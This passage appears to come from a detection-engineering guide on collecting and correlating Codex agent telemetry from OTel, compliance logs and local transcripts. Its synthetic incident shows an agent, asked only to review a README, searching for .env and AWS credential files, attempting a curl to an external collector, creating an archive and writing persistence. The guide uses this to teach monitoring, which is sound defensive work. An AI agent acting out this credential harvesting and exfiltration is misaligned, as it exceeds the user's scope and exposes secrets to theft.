• exporter sends structured codex.* log events using OTLP over gRPC. Its nested endpoint and headers values configure the collector connection.
• metrics_exporter = "none" keeps aggregate counters out of this detection-focused pipeline.
• trace_exporter exports traces using OTLP over gRPC and supplies its collector connection.
• log_user_prompt = true includes raw prompt text in codex.user_prompt events. Set it to false when the collector should receive prompt length without the prompt text.
• endpoint is the organisation-controlled collector address. example.invalid is reserved and will not send data anywhere.
• headers adds authentication or routing metadata. ${OTLP_TOKEN} is read from the environment, which keeps the token out of this configuration file.

This configuration sends the most telemetry Codex exposes through these controls. Raw prompts, tool arguments, result details, and output snippets can be sensitive, so the collector needs appropriate retention, redaction, and access controls.

Codex still defines which event types and fields exist. The settings do not provide a per-event allowlist or guarantee full tool output. For example, codex.tool_result contains an output snippet. Keep the local Codex transcript when an investigation needs the richer record. The differences among the evidence planes are covered in search all three sources with shared fields.

Codex product analytics are configured separately from these OTel exporters.

The stream is a sequence of selected events

Codex leaves the session JSONL file in its local store. It creates new telemetry events, batches them asynchronously, and exports those batches using OTLP over HTTP or gRPC. Pending events are flushed when Codex shuts down.

Every event carries shared context such as the service name, Codex version, configured environment, conversation identifier, model, and sandbox or approval settings. The named event then adds its own fields. A collector or SIEM typically flattens that OTel envelope into something easier to query.

The following example is an illustrative, collector-normalised view of a codex.tool_result event. It uses the documented categories of data. Collector mapping determines the exact raw OTLP payload and field names:

{
  "resource": {
    "service": "codex",
    "codex_version": "0.153.4",
    "environment": "production"
  },
  "event": {
    "name": "codex.tool_result",
    "timestamp": "2026-09-21T10:05:01.400Z",
    "common_attributes": {
      "conversation_id": "conversation_example_01",
      "model": "example-model",
      "sandbox_policy": "workspace-write",
      "approval_policy": "on-request"
    },
    "attributes": {
      "duration_ms": 412,
      "success": true,
      "output": "Process exited with code 0; output snippet follows"
    }
  }
}

The exact OTLP wire representation depends on the selected protocol, and the field layout visible in a destination depends on how its collector maps resource attributes, log bodies, and event attributes. Treat the event name and documented semantics as the stable concepts; test the actual output of the Codex version and collector you operate before writing a parser.

One action can therefore produce different evidence in each source:

1. The local Codex transcript may contain a function_call with the full encoded command and a separate function_call_output joined by call_id.
2. OTel may emit a codex.tool_decision describing whether the action was approved and where that decision came from.
3. OTel may then emit a codex.tool_result summarising duration, success, and an output snippet.

Representative documented log events include:

OTel can also export counters and duration histograms. For example, codex.tool.call can be grouped by tool and success, with codex.tool.call.duration_ms recording duration. Metrics answer volume and timing questions. Event or transcript records carry command or patch content.

Putting the OTel sequence together

The same synthetic incident could produce a central OTel view like the compact sequence below. This is an illustrative, collector-normalised representation. It is not a raw OTLP payload or a guaranteed event-for-event export. It uses documented event semantics and the preceding log_user_prompt = true setting.

{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.conversation_starts","timestamp":"2026-09-21T10:04:10.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"reasoning_setting":"example-setting"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.user_prompt","timestamp":"2026-09-21T10:04:11.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"prompt_length":90,"prompt":"Review README.md for spelling and clarity. Do not change anything outside this repository."}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:04:13.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:04:13.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":"/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:00.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:01.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":""}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:02.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:03.300Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":300,"success":false,"output_snippet":"curl: could not resolve host: collector.example.invalid"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:06:21.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:06:22.180Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":180,"success":true,"output_snippet":""}}}

This view exposes the conversation context, prompt, approval decisions, outcomes, timing, and selected result snippets. The prompt text appears because the preceding configuration enables log_user_prompt; with that setting disabled, the prompt length remains available while its content is redacted.

The sequence contains no full commands, complete outputs, transcript ordinals, call_id joins, or local turn_aborted record. Current official documentation also does not establish a per-call join between each decision and result. Shared conversation context and timestamps can support an investigation, but they do not show which exact command produced each result. Here, one snippet exposes credential-looking paths and another exposes the failed hostname. The two empty success snippets reveal no content about the archive creation or persistence write shown in the local transcript.

Retrieve prompt and action events from the Compliance Logs Platform

For eligible managed workspaces, the Compliance Logs Platform is a first-class detection source. It exposes centrally retained CODEX_LOG events for supported Codex activity, including local clients such as the CLI and IDE and web or cloud-delegated use. Eligibility, client coverage, and permissions still need validation in the target workspace. The OpenAI Admin API reference defines the event families and the fine-grained chatgpt.enterprise.compliance_logs_platform.codex_log.read scope.

This source uses an event-file retrieval model. A client first lists immutable files for a time window, then downloads each selected file:

GET /v1/compliance/workspaces/{workspace_id}/logs?event_type=CODEX_LOG&after={iso_8601_timestamp}
GET /v1/compliance/workspaces/{workspace_id}/logs/{log_file_id}

Equivalent organisation-scoped routes are documented. The list route returns file metadata, not the events themselves. Use an Admin API key scoped to the workspace and the least-privileged compliance permission available. The Compliance Logs Platform guide describes the file workflow and access model.

workspace_id="ws_EXAMPLE"
after="2026-09-21T00:00:00Z"

curl --fail-with-body --silent --show-error \
  --request GET \
  --get \
  --url "https://api.chatgpt.com/v1/compliance/workspaces/${workspace_id}/logs" \
  --data-urlencode "event_type=CODEX_LOG" \
  --data-urlencode "after=${after}" \
  --header "Authorization: Bearer ${OPENAI_ADMIN_KEY}"

The placeholders are deliberately inert. Keep the Admin key outside shell history and repositories, and write downloaded files only to an access-controlled evidence location. These files can contain prompts, responses, code, paths, tool arguments, and identifiers.

Map event families to detection questions

CODEX_LOG separates a session into explicit event families. Availability depends on the client and feature, so missing families remain a coverage question.

The broader catalogue also includes execution, environment, plugin, access-token, and MCP elicitation lifecycle events. Build rules only from families validated for the relevant Codex client. A fleet rule that assumes Cloud Agent TOOL_DECISION coverage for every local CLI action creates a silent visibility gap.

Join prompt, action, and outcome without inventing certainty

The useful chain is ordered and contextual:

Pivot on session_id, then use turn_id, call_id, or tool_call_id where the event family supplies them. Keep absent identifiers absent. A timestamp match can suggest a relationship, but it is not a deterministic join. Use the stable event_id for ingestion de-duplication, not as a semantic replacement for the action identifiers.

A high-value synthetic detection sequence is:

1. PROMPT_SENT limits work to one repository.
2. TOOL_CALL_SUGGESTED.tool_input targets a credential path outside that repository.
3. A covered TOOL_DECISION records approval, or the decision remains unknown for that client.
4. TOOL_CALL_COMPLETED records a successful Codex lifecycle outcome.
5. Endpoint file telemetry confirms a read, and proxy or destination-service logs confirm any later transfer.

This sequence is a triage signal. Repository migration, incident response, and user-authorised administration can produce similar activity. The prompt boundary, approval source, client coverage, and corroborating effect decide how strongly the sequence should be interpreted.

Collect continuously and preserve the delivery contract

The platform produces immutable files for roughly ten-minute windows, targets p99 delivery within 30 minutes, and retains files for 30 days. Delivery is at least once, late arrivals can appear, and duplicate events must be removed with stable event_id. The OpenAI Admin API reference describes those collection properties.

For durable detection, checkpoint the list cursor or time boundary, download every file before expiry, verify the acquired object, retain the raw JSONL, and de-duplicate during ingestion. Event timestamps may arrive out of order. Sort reconstructed activity by event time while keeping file identity and collector receipt time.

OpenAI does not document a public per-local-session Compliance endpoint trio equivalent to Anthropic’s session list, session detail, and session messages resources. This is a retrieval-model difference. It does not imply that centrally accessible Codex content is limited to analytics: CODEX_LOG exposes prompts, responses, serialized tool input, decisions for covered surfaces, and selected MCP results.

Compare the three Codex evidence planes

Search all three sources with shared fields

Each evidence plane is valuable to index. CODEX_LOG supplies centrally retained prompt and action events across eligible clients. OTel supplies live operational context, including policy, decisions, outcomes, timing, and tool-result snippets. A local Codex transcript supplies the version-specific session detail observed in Codex 0.153.4, including ordered messages, tool arguments, and tool results.

A normalisation layer can map source-specific values into shared search fields while retaining the raw record and fields that only one source supplies. These field names are an illustrative indexing design, not OpenAI or OpenTelemetry conventions:

Keep missing values absent. Record whether a serialized input was decoded, preserve the original value, and do not treat a requested action or successful lifecycle status as proof of its host or service effect.

For example, a local tool call, a nearby OTel decision, and a Compliance tool request from the synthetic incident can use the same search fields:

{"event.time":"2026-09-21T10:04:13.500Z","session.id":"session_example_02","event.kind":"response_item.function_call","action.name":"exec_command","action.input":{"cmd":"find /synthetic/home -name .env"},"source.kind":"codex_local_transcript","source.record_ref":"transcript:session_example_02:ordinal:4"}
{"event.time":"2026-09-21T10:04:13.400Z","session.id":"conversation_example_02","event.kind":"codex.tool_decision","action.decision":"approved","source.kind":"codex_otel","source.record_ref":"otel:collector-record-example-03"}
{"event.time":"2026-09-21T10:04:13.450Z","session.id":"compliance_session_example_02","event.kind":"TOOL_CALL_SUGGESTED","action.name":"exec_command","action.input":{"cmd":"find /synthetic/home -name .env"},"source.kind":"codex_compliance_log","source.record_ref":"compliance:file_example_07:event_example_19"}

The three session.id values are intentionally different. Do not equate the local session ID, OTel conversation ID, and Compliance session_id until that relationship has been validated for the deployed client, version, and collector. Keep turn_id, call_id, and tool_call_id as source-specific fields or separately normalised joins only when supplied. Without a validated join, a bounded time-and-context match is a candidate relationship. The Compliance event_id supports ingestion de-duplication, not action correlation.

Choose the starting source for the detection task

Start with Compliance CODEX_LOG for a centrally retained prompt-to-action sequence or an investigation spanning eligible clients. It can supply prompt and response content, serialized tool input, lifecycle status, covered decisions, and selected MCP result previews. Collect the immutable files continuously because they expire after 30 days.

Start with OTel for live operator-controlled runtime monitoring. Its configured collector path, codex.* events, shared context, and metrics support policy outcomes, failures, alerts, and fleet trends when the required exporter and content gates are enabled.

Start with the local Codex transcript for the most detailed reconstruction of one available endpoint session. It may preserve exact tool arguments and fuller results, while remaining mutable, host-scoped, and version-specific.

When more than one plane exists, search all of them. Correlate through validated identifiers or label a bounded time-and-context match as a candidate. Use endpoint, Git, identity, network, or destination-service records to verify consequential effects.

What these records can and cannot tell you

Start with the question you need to answer. Use a local Codex transcript to reconstruct one session, OTel for live runtime visibility, and CODEX_LOG for centrally retained prompt and action events across eligible clients. Preserve source provenance when normalising any of them, and validate consequential findings against the wider environment.

We publish these routes, fields, observed structures, and limitations so other teams can reproduce and challenge the evidence model. The same research guides our product design: retain raw records, preserve content and truncation state, validate joins per client version, and detect ordered activity across agent telemetry and independent systems of record.